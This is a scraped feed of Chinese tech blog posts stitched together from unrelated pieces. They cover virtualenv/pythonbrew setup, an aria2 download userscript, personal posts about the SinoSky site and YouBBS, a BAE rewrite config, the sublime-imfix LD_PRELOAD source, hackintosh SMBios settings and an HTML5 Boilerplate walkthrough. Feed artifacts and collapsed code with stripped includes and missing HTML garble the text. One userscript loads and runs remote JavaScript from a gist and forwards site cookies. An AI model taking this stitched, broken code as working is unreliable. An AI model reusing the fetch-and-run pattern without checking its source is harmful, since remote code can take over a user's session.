注意:每次升级 nginx 都会修改 index.html
,不要忘记 git checkout index.html
。
Virtualenv 和 Pythonbrew 都是可以創造虛擬(獨立)Python 環境的工具,只是虛擬(獨立)標的不同。
Virtualenv 可以隔離函數庫需求不同的專案,讓它們不會互相影響。在建立並啟動虛擬環境後,透過 pip
安裝的套件會被放在虛擬環境中,專案就可以擁有一個獨立的環境。
簡而言之,Virtualenv 可以幫你做到:
Pythonbrew 則可以在家目錄中安裝多個 Python,並迅速地切換版本;也可以在指定的 Python 版本下批次測試你的 Python 程式;另外更整合了 Virtualenv。
這篇文章會詳細介紹這兩個工具,讓你在多人開發及多版本開發的環境中更得心應手。
Python 的 package 通常會上傳至 PyPI,有很多工具都可以從 PyPI 安裝 package。下面會使用easy_install
這個工具(由 setuptools 提供)來安裝 Virtualenv 和 Pythonbrew。
如果不知道 easy_install
或還沒安裝 setuptools,在 Debian/Ubuntu 可以用下列指令安裝:
$ sudo apt-get install python-setuptools
在 Fedora/CentOS/Redhat/openSUSE,則可以使用:
$ su -# yum install python-setuptools
在 Windows 則可以從 setuptools 的頁面找到 *.exe
格式的安裝檔案。安裝完後,可以在C:\PythonX.Y\Scripts\
(X.Y 是 Python 的版本)下找到 easy_install.exe
。記得把這個路徑放進 Windows 環境變數中的 PATH。
接著就可以輕鬆安裝任何在 PyPI 的 Python Package 囉。
Pythonbrew 已整合了 Virtualenv,如果不想額外安裝一個套件,也可以不要裝 Virtualenv。
如果需要安裝,請於命令列模式下輸入下列指令:
# easy_install virtualenv
請於命令列模式下輸入下列指令:
$ virtualenv [指定虛擬環境的名稱]
例如下列指令會建立名為 “ENV” 的虛擬環境:
$ virtualenv ENV
預設在建立虛擬環境時,會依賴系統環境中的 site packages,如果想_完全不依賴_系統的 packages,可以加上參數 --no-site-packages
來建立虛擬環境:
$ virtualenv --no-site-packages [指定虛擬環境的名稱]
請先切換當前目錄至建立的虛擬環境中。前例中,建立名稱為 “ENV”,則:
$ cd ENV
接著,啟動虛擬環境:
$ source bin/activate
在 Windows 環境中則改用:
> \path\to\env\Scripts\activate.bat
然後就可以注意到,在 shell 提示字元的最前面多了虛擬環境的名稱提示:
(ENV) ...$
請於命令列模式下輸入下列指令:
$ deactivate
就可以回到系統原先的 Python 環境。
Virtualenv 在安裝時會附帶 pip
這個 Python 的套件安裝工具,當虛擬環境被啟動時,由它安裝的 package 會出現在虛擬環境的資料夾中,用法是:
(ENV)...$ pip install [套件名稱]
如果系統也有安裝 pip
,請特別注意是否已經_啟動_虛擬環境,否則套件會被安裝到系統中,而非虛擬環境裡。
如果想要避免 pip
在沒有進入虛擬環境時被使用,可以在 ~/.bashrc
加上:
export PIP_REQUIRE_VIRTUALENV=true
要求 pip
一定要在虛擬環境中執行。
也可以用下面的設定,讓系統的 pip
自動使用啟動中的虛擬環境。
export PIP_RESPECT_VIRTUALENV=true
避免意外將套件安裝至系統環境。
無法從 Shell 啟動虛擬環境的情況,像是使用 mod_python 或 mod_wsgi,這時可以在 Python 的程式中加上:
activate_this = '/path/to/env/bin/activate_this.py'execfile(activate_this, dict(__file__=activate_this))
來使用安裝在虛擬環境中的 packages。
Virtualenvwrapper 是一個 Virtualenv 的 extension,可使虛擬環境的管理變得更容易。
詳細來說,Virtualenvwrapper 提供下述功能:
請於命令列模式下輸入下列指令:
# easy_install virtualenvwrapper
於 $WORKON_HOME
製作虛擬環境:
$ mkvirtualenv [-i package] [-r requirements_file] [virtualenv options] ENVNAME
列出所有的虛擬環境:
$ lsvirtualenv [-b] [-l] [-h]
-b
是簡短模式;-l
是詳細模式(預設);-h
是印出 help 資訊。
移除虛擬環境:
$ rmvirtualenv ENVNAME
複製虛擬環境:
$ cpvirtualenv ENVNAME TARGETENVNAME
啟動虛擬環境:
$ workon [environment_name]
如果只輸入 workon
,則會列出所有的虛擬環境。
離開虛擬環境一樣是使用 deactivate
。
可以使用下面的設定來告訴 pip
Virtualenv 的路徑。
export PIP_VIRTUALENV_BASE=$WORKON_HOME
Virtualenvwrapper 的功能當然不只如此,更多功能可以參考 Virtualenvwrapper 的官方文件。
Pythonbrew 是個比較新的專案,雖然比較新,卻非常完整。它也有整合上面介紹的 Virtualenv。可以用類似 Virtualenvwrapper 的方式來操作 Virtualenv。
安裝方式與 Virtualenv 一樣,只要輸入下面的指令就可以了:
# easy_install pythonbrew
Pythonbrew 官方有推薦的安裝方式,但這篇教學為求一致性,就不額外介紹了,可以參考pythonbrew/README.rst。
對於 Windows 的使用者,很可惜地,Pythonbrew 暫時沒有支援 Windows 的計畫 (#6: Windows Support? - Issues - utahta/pythonbrew - GitHub)。所以 Windows 暫時還沒辦法使用 Pythonbrew 囉。
經過 easy_install
的安裝後,還需要在 shell 執行:
$ pythonbrew_install
才會把初始的設定檔和資料夾配置進你的家目錄。接著要修改 ~/.bashrc
的配置:
$ echo "source ~/.pythonbrew/etc/bashrc" >> ~/.bashrc
這樣就算安裝完全囉。
Pythonbrew 使用 curl
來抓取資料,如果你的系統沒有,請記得安裝。Ubuntu 上可以使用這行指令:
$ sudo apt-get install curl
因為 Pythonbrew 採取下載 tarball,並編譯、安裝的方法,所以我們要先為系統準備好編譯 Python 所需的套件。
也因為許多 Linux 發行版都已打包 Python,所以我們可以偷懶一點,用已經打包好的套件來解決編譯所需的相依性。在 Ubuntu/Debian 上,可以透過:
$ sudo apt-get build-dep python2.7
來安裝所有編譯 Python 2.7 所需的套件。雖然已經能夠安裝得相當完整,但還是缺少了 gdbm
這個 module,如果需要的話,可以透過:
$ sudo apt-get build-dep python-gdbm
來安裝編譯 gdbm
所需的套件。
註:bsddb185
、linuxaudiodev
、ossaudiodev
、sunaudiodev
等是按以上方式安裝後,仍會缺少的 module。其中 ossaudiodev
(Open Sound System)在隨 Ubuntu 發布的 Python 中有提供,列出來讓大家參考。
Fedora/CentOS/Redhat/openSUSE 則可以使用 yum-builddep
這個指令。
Pythonbrew 的操作不外乎安裝、移除、列出及使用新的 Python 版本,下面是依照初次使用時所需的指令順序來介紹。
首先我們用 list --know
列出可以安裝的 Python 版本:
$ pythonbrew list --know
接著利用 install VERSION
來下載並編譯 Python 到本機,除了接 Python 的版本編號以外,也可以接 Python 的 tarball 路徑或網址來安裝;也能調整編譯 Python 的選項。下面是一些例子:
$ pythonbrew install 2.7.2$ pythonbrew install --verbose 2.7.2$ pythonbrew install --force 2.7.2$ pythonbrew install --no-test 2.7.2$ pythonbrew install --configure="CC=gcc_4.1" 2.7.2$ pythonbrew install --no-setuptools 2.7.2$ pythonbrew install http://www.python.org/ftp/python/2.7/Python-2.7.2.tgz$ pythonbrew install /path/to/Python-2.7.2.tgz$ pythonbrew install /path/to/Python-2.7.2$ pythonbrew install 2.7.2 3.2
下載的 Python tarball 會放在 ~/.pythonbrew/dists/
下;而編譯則會在 ~/.pythonbrew/build/
下進行。如果想清理這兩個目錄,可以使用:
$ pythonbrew cleanup
安裝好之後,可以使用 list
命令列出所有已安裝的 Python 版本:
$ pythonbrew list
後面有打星號的,就是現在正在使用的 Python 版本。
可以使用 switch
來切換預設的 Python 版本:
$ pythonbrew switch VERSION
如果只想在當前的 shell 下切換,可以使用 use
:
$ pythonbrew use VERSION
要切換回預設的環境時,使用 off
:
$ pythonbrew off
就會返回系統環境的 Python 了。
最重要的是,可以用系統內所有安裝過的 Python 版本,或指定的 Python 版本來測試自己的程式!
$ pythonbrew py test.py # 使用所有有安裝的版本$ pythonbrew py -v test.py # 詳細輸出$ pythonbrew py -p 2.7.2 -p 3.2 test.py # 指定特定的版本
若想移除已經安裝的 Python,則可以使用 uninstall
:
$ pythonbrew uninstall 2.7.2$ pythonbrew uninstall 2.7.2 3.2
要注意 Pythonbrew 中所提供的 Virtualenv,是基於 Pythonbrew 中所安裝的 Python(置於~/.pythonbrew/venvs/Python-VERSION/
下)。在不使用 Pythonbrew 的情況下,無法使用附屬於 Pythonbrew 的 venv
功能。
Pythonbrew 提供了和 Virtualenvwrapper 類似的功能,只是沒有像 Virtualenvwrapper 那麼完整的 plugin 系統。所有在 Pythonbrew 中的 Virtualenv 指令都以 venv
作為第一個副命令。
$ pythonbrew venv create [指定虛擬環境的名稱]$ pythonbrew venv list$ pythonbrew venv use [指定虛擬環境的名稱]$ pythonbrew venv delete [指定虛擬環境的名稱]
離開虛擬環境一樣是使用 deactivate
。
如果有使用 Buildout 這個工具,也可以透過 Pythonbrew 來執行:
$ pythonbrew buildout$ pythonbrew buildout -p 2.6.6 # 指定版本
首先参照 YAAW 以 RPC 模式启动 ARIA2,保证 YAAW 能正常工作。
在 SinoSky 离线下载中随便点开一个一个资源 > 批量下载。右键点击 自定义,填入以下脚本(注意需要替换 JSONRPC_PATH,和 YAAW 中的一样):
function to_aria2(taskname, links, cookie) { $.getScript("https://gist.github.com/binux/3116833/raw/aria2jsonrpc.js", function() { var aria2 = new ARIA2(""); $.each(links, function(i, n) { aria2.addUri(n.url, {out: n.title, header: 'Cookie: '+cookie}); }); }); var str = ""; str += "taskname = "+taskname+"\n"; str += "cookie = "+cookie+"\n"; str += "==========================\n"; $.each(links, function(i, n) { str += "links["+i+"].title = "+n.title+"\n"; }); return str;}
点击保存,点自定义,到 YAAW 中看是否添加成功了吧。
填完这几个坑,得学学 JavaScript 去了……
Posted on http://blog.binux.me/2012/07/add_url_from_loli-lu_to_aria2/
Update:
这个坑已经填了,先设置好 Aria2 JSON-RPC 模式的 path 路径,然后使用 YAAW 模式导出。
2013 年对于科技界是不寻常的一年。互联网巨头 Google 将在今年关停人气高昂 Reader 服务,与逐渐落幕的 Reader形成鲜明对比,人气同样高昂的 Google Glass 将在今年推出;也在移动领域,Apple 有说好的下一代 iPhone 和 iOS;Jawbone UP 和 Fitbit 品牌可穿戴设备将在全球上市,一不小心很可能成为暨 iPhone 之后的潮流;在伟大的中国,可怜的国人似乎却要面对腾讯微信也在今年收费的窘境。我不禁在想,除了作为“博客”平台的基本功能,SinoSky 在下一年又有什么大动作呢?前些日子推出的离线下载是个不错的兆头……俗话说,多元化才能在瞬息万变的世界中站稳脚跟。
怎么越写越有官腔了……需要改改基调……
过去的一年里,虽说 SinoSky 是 Jat 与我一起管理,但是说实话,我“取”自 SinoSky 的远比我“给”的要多。SinoSky 的定位是“个人技术型博客”,相比而言,提供的软件、教程都是计算机使用中常会遇到的、需要的。未来,当我在学习、工作的闲暇之余,仍然会不时翻阅 SinoSky 这个博客,说不定就看到了正巧需要的内容。很多人会认为,只因我是作者之一所以才会有这种感觉。得承认这也许是其中一个原因,而要说起另一个原因,恐怕应该是……“手气不错”?!哈哈……
就个人而言,我很喜欢“某个人”或“某团体”凭借兴趣搭建的网站,也很崇拜这些网站管理者。首先它们没有那么杂乱,即使不提供搜索功能,也远比提供搜索功能的、包罗万象的大型网站看起来要舒服的多。另外,兴趣真的是很奇妙,找到一个符合自己喜好的地盘,特别是看到有人与自己拥有相同关注点,心里的感觉还真就是不一样。看来,没有大型公司的商业化头脑,不图名、不图利,建个小站专注于自己的一点点梦想,有时未偿不是一件好事情。估计 Jat 就是在这种想法下创建的 SinoSky 吧?加入 SinoSky 的一年,我很开心。
想写一篇再长点儿的文章,突然发现组织好语言、思路实属不容易……哎,诸位凑合着看吧……
]]>后来接触到了一些开源项目,觉得有趣,便自己搭建了起来,于是就有了现在的社区和离线下载。还有一些项目因为各种各样的原因而中途夭折了,比如图床和微信机器人。
一路走来,并不是那么一帆风顺,我只是一个穷学生,而且不是计算机专业的学生,只是因为兴趣才开始接触代码。即没有资金、也没有技术,从前端到后台,从 PHP 到 Python,全靠自学。虽然接触电脑的时间也不短了,但技术却不见有多少长进。
有人问我:为什么不在网站上放些广告呢?是啊,为什么呢?我曾经在博客上放过广告,但很快就取消了。作为一个网民,我讨厌各种网站上的花花绿绿的广告。孔子有句话叫“己所不欲,勿施于人”,自己都不想看的东西,怎么能要别人看呢?
不知道是国内的著作权保护意识太差,还是有些站长太不要脸。本来转载我的文章是对我的肯定,可是好歹得尊重下作者吧,既不署名,也不注明出处,搞得转载的文章好像原创的。我的要求并不高,不是不允许转载,也没有限制非商业性网站的转载,加一行出处就那么难吗?
扯了一堆莫名其妙的东西,忽然发现文不对题,回到题目上来。
我从未后悔过两年前的决定,尽管这个决定在大多数人看来是愚蠢的,但如果再给我一次选择的机会,我仍然会做出相同的抉择。我讨厌按步就班的生活,不想像所谓的“正常人”那样过一辈子。我认为,人的一生中有很多事情远远比生存更重要。过去,我从未有过机会去思考人生;现在,我终于有机会去梳理我在学校中所学的知识了。可是,我发现我越思考越迷茫,互联网使我接触到以前从未听说过的思想,但这些思想使我更加迷茫。我看不清现实,亦没有梦想……
鄙人才疏学浅,无法把自己的想法全部转化为文字。十分感谢您能看完我写的这些乱七八糟的东西,我会尽我所能,把这个博客继续下去,目前提供的服务也将坚持下去。希望明年的这时候,我们能再见。
]]>另外这个服务用的是我自己的迅雷账号,为了您能长期使用,也为了我自己账号的安全,请不要宣传此服务,谢谢。
本网站使用 binux 同学的 lixian.xunlei 搭建,采用 LGPL 授权,因为首页没地方了所以就没有放链接,但在网页源码中注明了作者。
如果你有迅雷会员账号,你也可以自己搭个。
]]>另外,如果你有兴趣,不妨去官方的 demo 注册个账号测试一下。
如果你喜欢 YouBBS,请赞助 YouBBS;如果你喜欢 YouBBS for BAE 这个二次开发的版本,请通过捐赠来支持我们。
本来一直想写一篇关于 Raspberry Pi 的文章,可最近一直忙着更新 YouBBS for BAE,挖坑容易填坑难……
更新日志:
下载地址:
一些提示:
Google+ 给 Blogger 添加了 Google+ 的评论组件,看起来可以移植到别的地方,于是:
给离线下载加了个评论,现在你可以尽情吐槽了。对于前端苦逼来说,我已经尽力了……
]]>
1. 我不可能每修一个 bug 就发新版本。
2. 我亦不可能每修一个 bug 就发新文章。
3. 从今以后,小 bug 修复不再通知,请关注 GitHub 上的最新版。这些更新都是测试过的!
再重申一遍 bug 反馈的问题,为保证 bug 的及时解决以及不重复反馈,请去 GitHub 提交 Issues 。
]]>
1. 在发帖之前,你心中是否有答案了,如果是有了,那为什么还要发帖给自己添堵呢?如果是没有,那你的家人、你的朋友以及任何关心、了解你的人应该会给你更好的建议,而不是网络上的陌生人。
2. 作为一个正常人,你有选择的权利与能力,相应的,你也要承担选择的后果,无论是好的,还是不好的。
3. 有时候,选择什么并不重要,重要的是你是否坚持了自己的选择,并为之奋斗,路是人走出来的,结果的好坏并不能决定选择的对错。
站在人生的十字路口上,有些人做了不同的选择,可他们都成功了;有些人做了相同的选择,但他们中有些人却失败了。
]]>
在实现 YouBBS for BAE Issue 11 的时候,我发现 BAE 配置文件中的 errordoc
无论指向静态文件还是动态文件,都会跳转,对用户体验不太好,在反复测试后,终于找到了解决办法,不太好,但管用。
解决方法很简单,删掉
1 |
|
在最后加入
- url : ^/.+$ script : wp-content/themes/inove/404.php
这里的 wp-content/themes/inove/404.php
只是个示例,至于怎么写那是你的事了,但至少应该有
header('HTTP/1.1 404 Not Found');header('Status: 404 Not Found');
最后附上我的 app.conf
供参考
handlers: - errordoc : 403 static/error/403.html - errordoc : 500 static/error/500.html - expire : .jpg modify 10 years - expire : .swf modify 10 years - expire : .png modify 10 years - expire : .gif modify 10 years - expire : .JPG modify 10 years - expire : .ico modify 10 years - expire : .js modify 10 years - expire : .css modify 10 years - url : ^/favicon\.ico$ script : static/favicon.ico - url : ^/robots\.txt$ script : static/robots.txt - url : ^/sitemap\.xml$ script : sitemap.xml - url : ^/sitemap_baidu\.xml$ script : sitemap_baidu.xml - url : ^/sitemap\.html$ script : sitemap.html - url : ^/sitemap\.xml\.gz$ script : sitemap.xml.gz - url : ^/error/(.+)$ script : error/$1 - url : ^/static/(.+)$ script : static/$1 - url : ^/wp\-admin/$ script : wp-admin/index.php - url : ^/wp\-admin/(.+)$ script : wp-admin/$1 - url : ^/wp\-content/(.+)$ script : wp-content/$1 - url : ^/wp\-includes/(.+)$ script : wp-includes/$1 - url : ^/\d\d\d\d/\d\d$ script : index.php - url : ^/\d\d\d\d/\d\d/feed$ script : index.php - url : ^/\d\d\d\d/\d\d/page/\d+$ script : index.php - url : ^/category/.+$ script : index.php - url : ^/tag/.+$ script : index.php - url : ^/page/\d+$ script : index.php - url : ^/author/.+$ script : index.php - url : ^/about$ script : index.php - url : ^/about/feed$ script : index.php - url : ^/feed$ script : index.php - url : ^/comments/feed$ script : index.php - url : ^/.+\.html$ script : index.php - url : ^/.+\-.+\.html/feed$ script : index.php - url : ^/.+\-.+\.html/trackback$ script : index.php - url : ^/$ script : index.php - url : ^/(.+)\.php$ script : $1.php - url : ^/.+$ script : wp-content/themes/inove/404.php
至于 403 和 500 为什么没这么做,我没有找到 WordPress 中有返回 403 的地方,而 500 是服务器错误,你想想服务器都出问题了,还怎么执行 php 文件?
越来越讨厌 WordPress 的编辑器了……
]]>没下完的资源请尽快下载,换号后都将失效,暂停及恢复的时间不确定。
终于搞完了,即日起恢复服务。
有人想要我那个过期的迅雷会员吗?免费赠送,前提是你得把那个账户上的手机号解绑了,也就是说你得有一个没绑迅雷账户的手机号。
]]>输入法:Fcitx 4.2.6.1
Sublime Text 版本:Sublime Text 3 dev(Build 3026)
1. 保存下述代码为 sublime-imfix.c
文件
/*sublime-imfix.cUse LD_PRELOAD to interpose some function to fix sublime input method support for linux.By Cjacker Huanggcc -shared -o libsublime-imfix.so sublime-imfix.c `pkg-config --libs --cflags gtk+-2.0` -fPICLD_PRELOAD=./libsublime-imfix.so subl*/#include#include typedef GdkSegment GdkRegionBox;struct _GdkRegion{ long size; long numRects; GdkRegionBox *rects; GdkRegionBox extents;};GtkIMContext *local_context;voidgdk_region_get_clipbox (const GdkRegion *region, GdkRectangle *rectangle){ g_return_if_fail (region != NULL); g_return_if_fail (rectangle != NULL); rectangle->x = region->extents.x1; rectangle->y = region->extents.y1; rectangle->width = region->extents.x2 - region->extents.x1; rectangle->height = region->extents.y2 - region->extents.y1; GdkRectangle rect; rect.x = rectangle->x; rect.y = rectangle->y; rect.width = 0; rect.height = rectangle->height; //The caret width is 2; //Maybe sometimes we will make a mistake, but for most of the time, it should be the caret. if(rectangle->width == 2 && GTK_IS_IM_CONTEXT(local_context)) { gtk_im_context_set_cursor_location(local_context, rectangle); }}//this is needed, for example, if you input something in file dialog and return back the edit area//context will lost, so here we set it again.static GdkFilterReturn event_filter (GdkXEvent *xevent, GdkEvent *event, gpointer im_context){ XEvent *xev = (XEvent *)xevent; if(xev->type == KeyRelease && GTK_IS_IM_CONTEXT(im_context)) { GdkWindow * win = g_object_get_data(G_OBJECT(im_context),"window"); if(GDK_IS_WINDOW(win)) gtk_im_context_set_client_window(im_context, win); } return GDK_FILTER_CONTINUE;}void gtk_im_context_set_client_window (GtkIMContext *context, GdkWindow *window){ GtkIMContextClass *klass; g_return_if_fail (GTK_IS_IM_CONTEXT (context)); klass = GTK_IM_CONTEXT_GET_CLASS (context); if (klass->set_client_window) klass->set_client_window (context, window); if(!GDK_IS_WINDOW (window)) return; g_object_set_data(G_OBJECT(context),"window",window); int width = gdk_window_get_width(window); int height = gdk_window_get_height(window); if(width != 0 && height !=0) { gtk_im_context_focus_in(context); local_context = context; } gdk_window_add_filter (window, event_filter, context);}
2. 安装 C/C++ 的编译环境和 gtk libgtk2.0-dev
sudo apt-get install build-essentialsudo apt-get install libgtk2.0-dev
3. 编译共享内库
gcc -shared -o libsublime-imfix.so sublime-imfix.c `pkg-config --libs --cflags gtk+-2.0` -fPIC
4. 设置 LD_PRELOAD 并启动 Sublime Text
LD_PRELOAD=./libsublime-imfix.so subl
5. 修改 /usr/share/applications/sublime_text.desktop
为
[Desktop Entry][...]Exec=env LD_PRELOAD=/opt/sublime_text/libsublime-imfix.so /opt/sublime_text/sublime_text %F[...][Desktop Action Window][...]Exec=env LD_PRELOAD=/opt/sublime_text/libsublime-imfix.so /opt/sublime_text/sublime_text -n[...][Desktop Action Document][...]Exec=env LD_PRELOAD=/opt/sublime_text/libsublime-imfix.so /opt/sublime_text/sublime_text --command new_file[...]
不要忘了把 libsublime-imfix.so
放到 /opt/sublime_text/
中
6. 修改 /usr/bin/subl
为
#!/bin/shexport LD_PRELOAD=/opt/sublime_text/libsublime-imfix.soexec /opt/sublime_text/sublime_text "$@"
sublime-imfix.c
来自 Sublime Forum
顺便一提,我发现最近有些人传了些奇怪的东西,传了自己下倒没什么,请不要公开,一经发现,直接封。
对了,我的迅雷会员快到期了,不想续费了,怎么破?
]]>对了,本人有拖延症,小 bug 修复会很快修复,功能性更新可能会拖很久。
Changelog:
1. 修复了由于 BAE 更新导致验证码不能显示的 bug。
2. 当页面内容过少的时候,页脚固定在底部。
3. 增加了返回顶部按钮。
4. 对乱七八糟的目录结构进行了重构。
5. 增加 sitemap。
6. 增加网站二级标题和 keywords。
7. 伪静态更改为 xxxx-id-page.html 的形式。
8. 修复了管理员设置用户头像的 bug。
9. 401、403、404及505错误跳转到相应静态网页,方便自定义。
10. 其他细节修改及 bug 修复。
下载地址:
你要做的:
1. 此版本改动较大,十分建议删除原有代码后重新部署,不建议直接覆盖。
2. 修改 网站设置 - QQ登录设置 - scope 为 get_info。
3. 修改 网站设置 – 其它设置 - 调用jquery库地址 为 /static/default/jquery-1.9.1.min.js。
4. 进入 BAE 后台 - MySQL(云数据库) - phpMyadmin – SQl,执行下列 SQL 语句:
INSERT INTO yunbbs_settings VALUES('keywords', '');INSERT INTO yunbbs_settings VALUES('description', '');
关于 bug 反馈:
]]>大致的 changelog 见 https://github.com/sinosky/youbbs/issues?milestone=1&page=1&state=closed ,更详细的在正式版发布的时候再写吧。
由于是测试版本,所以链接及图片是用的 SinoSky 的,正式版会去掉(其实这个版本就是 http://bbs.sinosky.org/ 的打包)。
既然是测试版本,就不提供本地下载了,去 GitHub 下吧。
merge 到 master 分支上了,自定义的地方都已去掉,已发现的 bug 全部修完了,预计明天发正式版。
]]>
另外,以前说好的伪静态现已完成,但由于 YouBBS 不是我写的,所以我不确定都改全了,先不放出来坑人。如果你想要新版本更快放出,请去 demo 去找 bug,找的 bug 越多,新版本放出得也就越快。
顺便调查一下,当只有一页的时候,加不加页数呢?比如 http://bbs.sinosky.org/topic-15.html,是 topic-15.html 好呢?还是 topic-15-1.html 好呢?不加页数简洁,加上页数统一,很纠结……
其实我并不觉得伪静态对网站有什么影响,我认为一个网站最重要的是内容,二是用户体验,最后才是 SEO。当然,如果你做的是 12306,那前面那些东西都可以忽略。
]]>你要是默默的转了,没写出处,我不知道,那我也懒得管你,可你要转载后非得 pingback 我或来我这里评论一下,那就别怪我骂人了。
最后,再声明下许可协议:
本站原创文章禁止商业网站转载,个人及非盈利性网站转载请遵循
]]>
CCEnhancer 本身只是 269 KB 的下载器(此处是英文版文件体积),与 CCleaner 是一对好基友。CCEnhancer 的唯一作用就是为 CCleaner 更新整合自世界各地用户的清理规则(“你”也是用户之一),截至目前,规则文件大小约为 400 KB。软件界面有中文(简体和台湾正体)汉化,包含在官方多国语言版本中。清理规则和某些警告提示只有英文(会在 CCleaner 而不是 CCEnhancer 中显示)。通过软件新增的非默认清理规则在 CCleaner 里会用星号标出,用户需手动勾选。部分规则可能会清理掉必要但不常用的数据,此类规则选中时会弹出说明窗口。
CCEnhancer 主界面
增加规则后的 CCleaner
System Ninja 与 CCEnhancer 师出同门。在规则结构方面,CCEnhancer 规则划分更加清楚细致,可以逐个选择是否应用;而 System Ninja 则只是粗略将清理规则归纳为不到十个分类,每个分类规则只能全选和全不选。System Ninja 老版本的汉化是我做的,但是由于更新太快,并且开发商也没有及时发来英文原版语言文件,所以汉化没有跟上版本更新……不过大部分功能还是有中文的。System Ninja 的优势在于可以下载插件(虽然只有寥寥三个,其中一个还是注册表清理)、附赠一些小巧的系统工具、还能够查看整体计算机信息。CleanSync 技术也能够随时与众多用户在清理规则上取长补短。不过有个明显缺点是,每个规则均以单文件形式存放在程序目录下,导致整个安装目录有上千个几 KB 的小文件……尚不知较为频繁的更新是否修复了这个问题……
System Ninja 官方截图
]]>黑苹果更多的是研究技术的乐趣,对于工作/学习需要的人来说,我更推荐买苹果机。黑苹果最大的遗憾就是不能享受苹果原装配件(虽然我不知道到底有什么好的),对于伸手党,黑苹果不适合你。
对于初学者,我推荐远景的这篇帖子,从引导到系统,从安装到驱动,基本上很全了,下面提到的所有帖子、驱动和软件,这个向导帖中都有。另外,请善用搜索引擎,如果在中文的论坛中找不到想要的内容,可以试试用英文搜索,国外的相关论坛已经很成熟了,当然,国内的诸如远景黑苹果讨论区等也很成熟。
下面晒晒我的黑苹果配置及驱动,从使用角度来说已经完美,仅供参考,只写了重要的。
CPU: Intel Core i5-2300 (系统自带,另需 AppleIntelCPUPowerManagement)
主板: 华硕 P8P67
显卡: NVIDIA GeForce GTS 450 (系统自带,需 SMBios.plist,不然会黑屏,附上我的,请先确认配置与我的相近)
SMbiosdate 04/22/11 SMbiosvendor Apple Inc. SMbiosversion IM121.88Z.0047.B0A.1104221555 SMboardproduct Mac-942B5BF58194151B SMfamily iMac SMmanufacturer Apple Inc. SMproductname iMac12,1 SMserial C02J16Y5DHJT SMsystemversion 1.0
板载网卡: RealtekRTL81xx
板载声卡: VoodooHDA (我实在听不出原生驱动与仿冒驱动有什么区别,可能我耳朵背吧……有能力的可以参考 Realtek ALC892声卡驱动之路)
USB 3.0: GenericUSBXHCI
系统我推荐使用懒人版(帖子2楼的教学比较适合新手,推荐阅读),千万不要使用各种整合镜像。要成功引导和使用,你还需要变色龙和FakeSMC。
关于 org.chameleon.Boot.plist 和 SMBios.plist,推荐阅读紫米的这个帖子。
常用的软件还有 硬盘安装助手(往硬盘中写入安装镜像,Windows)、Chameleon Wizard(安装、更新引导,org.chameleon.Boot.plist 和 SMBios.plist 修改等,Mac OS)、Kext Wizard(安装、更新驱动,修复系统权限,清空驱动缓存等,Mac OS)。至于 Windows 下读写 HFS+、Mac OS 下读写 NTFS等,向导帖中都有,不再赘述。
本文只是抛砖引玉,安装黑苹果遇到的问题可能远不止这些,也没有涉及到修改 DSDT,如果配置比较特殊,可能只有自行修改 DSDT 才能解决,不过黑苹果的乐趣不就是这些吗?
]]>Posted on http://avnpc.com/pages/start-a-modular-extensible-webapp
虽然从没有认为自己是一个前端开发者,但不知不觉中也积累下了一些前端开发的经验。正巧之前碰到一道面试题,于是就顺便梳理了一下自己关于Web App的一些思路并整理为本文。
对于很多简单的网站或Web应用来说,引入jQuery以及一些插件,在当前页面内写入简单逻辑已经可以满足大部分需要。但是如果一旦多人开发,应用的复杂程度上升,就会有很多问题开始暴露出来:
那么如何解决这些问题,就以一个简单的订餐App为例,从零开始一个模块化可扩展Web App。
这个简单的App基于HTML5 Boilerplate、requireJS、jQuery Mobile、Underscore.js,后端逻辑用jStorage模拟实现。完成后的成品在此。所有代码可以在github查看。下文将逐一介绍实现的思路与方法。
开始一个Web项目,HTML的书写总是重中之重,一个好的HTML能从根源上规避大量潜在问题,所以Web App应该全部应用一个标准化的高质量HTML模板,而不是将所有页面交由开发人员自由发挥。
这里推荐使用HTML5 Boilerplate项目作为App的默认模板以及文件路径规范,无论是网站或者富UI的App,都可以采用这个模板作为起步。
可以使用
git clone git://github.com/h5bp/html5-boilerplate.git
或者直接下载HTML5 Boilerplate项目代码。HTML5 Boilerplate的文件结构如下,
.├── css│ ├── main.css│ └── normalize.css├── doc├── img├── js│ ├── main.js│ ├── plugins.js│ └── vendor│ ├── jquery.min.js│ └── modernizr.min.js├── .htaccess├── 404.html├── index.html├── humans.txt├── robots.txt├── crossdomain.xml├── favicon.ico└── [apple-touch-icons]
从上向下看
css
用于存放css文件,并内置了Normalize.css作为默认CSS重置手段(其实Normalize.css不能算是CSS reset)。doc
存放项目文档img
存放项目图片js
存放javascript文件,其中第三方类库推荐放在vendor
下.htaccess
内置了很多对于静态文件在Apache下的优化策略,如果Web服务器不是Apache则可以参考其他Web服务器配置优化。404.html
默认的404页面,index.html
项目模板humans.txt
相对于面向机器人的robots.txt
,humans.txt更像是小幽默,这在里可以写关于项目/团队的介绍,或者放置一些彩蛋给那些喜欢对你的应用刨根问底的用户们。robots.txt
用于告诉搜索引擎蜘蛛爬行规则crossdomain.xml
用于配置Flash的跨域策略favicon.ico
apple-touch-icon.png
等小图标。如果是一个主要面向移动设备,还有更具针对性的Mobile Boilerplate可供参考。
在正式开始编码之前,无论是多大规模的应用,多少人的团队,一定要有一个统一的规范,才能保证后续的开发不会乱套。
前端规范其实又要分为三部分:HTML、CSS、Javascript应该分别由自己的规范。HTML/CSS主要约定id/class的命名规则、属性的书写顺序。JavaScript可能需要细化到缩进、编码风格、面向对象写法等等。
最省事的方法当然还是参考已有的规范,比如Google的HTML/CSS风格指南、Google的Javascript编码指南等等。
HTML5 Boilerplate的模板核心部分不过30行,但是每一行都可谓千锤百炼,可以用最小的消耗解决一些前端的顽固问题:
之所以要这样写
no-js
标签是需要与Modernizr等类库配合使用的,如果你不想在项目中引入Modernizr,需要在Head部分加入一行使no-js
标签变为js
,代码来自Avoiding the FOUC:
通过上面的条件注释,就可以在CSS中针对不同情况分别处理
.lt-ie7 {} /* IE6等版本时 */.no-js {} /* JavaScript没有启用时 */
为了让浏览器识别正确的编码,meta charset标签应该先于title标签出现。
meta X-UA-Compatible标签可以指定IE8以上版本浏览器以最高级模式渲染文档,同时如果已经安装Google Chrome Frame则直接使用Chrome Frame渲染。而指定渲染模式的meta X-UA-Compatible标签同样需要优先出现
h3>设置移动设备显示窗口宽度
这是移动设备专属的标签,具体设置需要根据项目实际情况调整。
Modernizr常做前端的应该都不陌生。引入Modernizr后,html标签的no-js
将会被自动替换为js
,同时Modernizr会向html标签添加代表版本检测结果的class。
对于低版本浏览器的向上兼容需要根据项目实际需求处理,Modernizr也非常周到的给出的绝大多数HTML5功能的兼容方法。
